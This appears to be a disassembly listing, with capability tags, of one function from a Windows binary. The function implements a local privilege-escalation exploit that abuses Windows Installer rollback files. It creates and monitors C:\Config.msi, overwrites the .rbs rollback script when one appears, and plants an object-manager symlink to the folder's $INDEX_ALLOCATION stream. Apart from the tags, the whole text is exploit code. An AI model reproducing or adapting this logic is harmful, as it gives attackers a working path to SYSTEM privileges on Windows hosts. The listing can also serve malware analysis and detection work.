Function at 0x140001430
Capabilities:
Create thread
Link many functions at runtime
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1660]
mov eax, 0x1760
call fcn.140017ef0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1650], rax
lea rcx, [0x1400228f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1400014e6
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x140028090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryDirectoryObject
mov rcx, rbx
mov qword [0x140028068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenDirectoryObject
mov rcx, rbx
mov qword [0x1400282a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140028088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028070], rax
jmp 0x1400014ed
mov rax, qword [0x140028070]
cmp qword [0x140028090], 0
je 0x140001c22
cmp qword [0x140028068], 0
je 0x140001c22
cmp qword [0x1400282a8], 0
je 0x140001c22
cmp qword [0x140028088], 0
je 0x140001c22
test rax, rax
je 0x140001c22
lea r8, str.C:windows
mov qword [rsp + 0x1770], rsi
lea rdx, str.___s
lea rcx, [rbp + 0x230]
call fcn.140001370
lea rdx, [rbp + 0x230]
lea rcx, [rbp]
call qword [0x140028090]
xor esi, esi
mov qword [rbp - 0x58], 0x30
mov dword [rsp + 0x50], esi
lea rax, [rbp]
mov qword [rsp + 0x48], rsi
lea r9, [rbp + 0x10]
mov dword [rsp + 0x40], 0x200001
lea r8, [rbp - 0x58]
mov dword [rsp + 0x38], 3
lea rcx, [rbp - 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov qword [rsp + 0x20], rsi
mov qword [rbp - 0x40], 0x40
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rax
movdqu xmmword [rbp - 0x38], xmm0
call qword [0x140028068]
mov dword [0x140028098], eax
test eax, eax
js 0x140001c16
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140001c16
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp + 0x20]
call fcn.140001370
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call qword [0x140028090]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x10]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x10], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140028068]
mov dword [0x140028098], eax
test eax, eax
jns 0x140001695
mov qword [0x140028060], rsi
jmp 0x1400016aa
mov rax, qword [rsp + 0x60]
mov qword [0x140028060], rax
test rax, rax
jne 0x140001785
lea rcx, str.____Failed_to_create_C:Config.msi_directory._Trying_to_delete_it._n
call fcn.1400013d0
xor ecx, ecx
call fcn.140002690
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp + 0x20]
call fcn.140001370
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call qword [0x140028090]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x20]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140028068]
mov dword [0x140028098], eax
test eax, eax
jns 0x140001767
mov qword [0x140028060], rsi
jmp 0x140001779
mov rax, qword [rsp + 0x60]
mov qword [0x140028060], rax
cmp rax, 0xffffffffffffffff
je 0x1400017cf
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
call fcn.1400013d0
lea rcx, str.C:Config.Msi
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyW]
test eax, eax
jne 0x1400017d8
lea rcx, str.____Failed.__C:Config.Msi_already_exists_and_is_not_empty._n
call fcn.1400013d0
mov eax, 1
mov rsi, qword [rsp + 0x1770]
mov rcx, qword [rbp + 0x1650]
xor rcx, rsp
call fcn.140002890
mov rbx, qword [rsp + 0x1780]
add rsp, 0x1760
pop rbp
ret
lea rcx, str.____Failed._Cannot_remove_c:Config.msi
jmp 0x14000179d
lea rcx, str.___Config.msi_directory_created__n
mov qword [rsp + 0x1778], rdi
call fcn.1400013d0
mov r9, rbx
mov qword [rsp + 0x28], rsi
lea r8, [0x140001c40]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [0x140028060]
lea rdx, [0x1400023c0]
call fcn.1400010b0
mov rbx, rax
test rax, rax
je 0x1400018d0
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x140001891
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
mov qword [rbx + 0x58], rsi
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400018a4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], rsi
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x1400018ba
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov edx, 0x68
mov rcx, rbx
call fcn.1400028ec
nop word [rax + rax]
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp + 0x20]
call fcn.140001370
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call qword [0x140028090]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x20]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 0x80070000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140028068]
mov dword [0x140028098], eax
test eax, eax
jns 0x14000197d
mov qword [0x140028060], rsi
jmp 0x1400018d0
mov rcx, qword [rsp + 0x60]
mov qword [0x140028060], rcx
test rcx, rcx
je 0x1400018d0
mov dword [rbp - 0x28], esi
lea rbx, str..rbs
nop dword [rax]
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x28], rax
mov r9d, 1
mov r8d, 0xffe
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov eax, dword [rbp + 0x658]
lea r8, [rbp - 0x60]
shr rax, 1
lea rcx, [rbp + 0x65c]
mov edx, 0x104
mov word [rbp + rax*2 + 0x65c], si
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchFindExtension]
mov rdx, qword [rbp - 0x60]
mov rax, rsi
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rbx + rax*2 - 2]
jne 0x140001bef
cmp rax, 5
jne 0x140001a02
mov rcx, qword [0x140028060]
lea edx, [rax - 4]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000004
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov rcx, qword [0x140028060]
call fcn.1400020c0
test eax, eax
je 0x140001a42
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp + 0x20]
call fcn.140001370
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call qword [0x140028090]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x20]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 1
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140028068]
mov rdi, qword [rsp + 0x60]
lea r8, [rbp + 0x65c]
test eax, eax
mov dword [0x140028098], eax
lea rdx, str.C:Config.msi_s
lea rcx, [rbp + 0x440]
cmovs rdi, rsi
call fcn.140001310
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x440]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x1400282c0]
xor r9d, r9d
mov rdx, qword [0x1400282b8]
mov rcx, rax
mov rbx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea r8, str.____Failed_to_overwrite_rbs_file__n
lea rcx, str.___RBS_file_overwritten__n
cmove rcx, r8
call fcn.1400013d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, str.C:Config.msi::_INDEX_ALLOCATION
lea rdx, str.___s
lea rcx, [rbp + 0x230]
call fcn.140001370
lea r8, [rbp + 0x230]
mov ecx, 0xf
lea rdx, str.GlobalGLOBALROOTRPC_Control1.tmp
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov rdi, qword [rsp + 0x1778]
test eax, eax
je 0x140001bfb
lea r8, [rbp + 0x230]
lea rdx, str.GlobalGLOBALROOTRPC_Control1.tmp
lea rcx, str.___Symlink__ls_____ls_deleted__n
call fcn.1400013d0
xor eax, eax
jmp 0x1400017a7
mov rcx, qword [0x140028060]
jmp 0x1400019a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.1400013d0
xor eax, eax
jmp 0x1400017a7
lea rcx, str.____Cannot_open_directory__n
jmp 0x14000179d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.1400013d0
xor ecx, ecx
call fcn.140007228
int3